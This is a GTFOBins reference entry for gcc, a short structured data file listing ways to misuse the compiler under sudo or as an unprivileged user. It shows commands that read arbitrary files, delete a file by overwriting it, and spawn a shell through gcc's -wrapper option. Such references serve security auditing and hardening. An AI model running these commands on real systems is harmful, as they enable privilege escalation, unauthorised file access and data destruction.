1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 22:46:19 +01:00
GTFOBins.github.io/_gtfobins/gcc
2026-02-08 15:41:13 +01:00

35 lines
764 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
gcc -x c -E /path/to/input-file
contexts:
sudo:
unprivileged:
- binary: false
code: |-
gcc @/path/to/input-file
comment: |-
The file is read and parsed as a list of files (one per line), the content is displayed as error messages.
contexts:
sudo:
unprivileged:
file-write:
- code: |-
gcc -x c /dev/null -o /path/to/input-file
comment: |-
This actually deletes the file.
contexts:
sudo:
unprivileged:
shell:
- code: |-
gcc -wrapper /bin/sh,-s x
comment: |-
In some older versions, the `x` argument must instead reference any existing file.
contexts:
sudo:
unprivileged:
...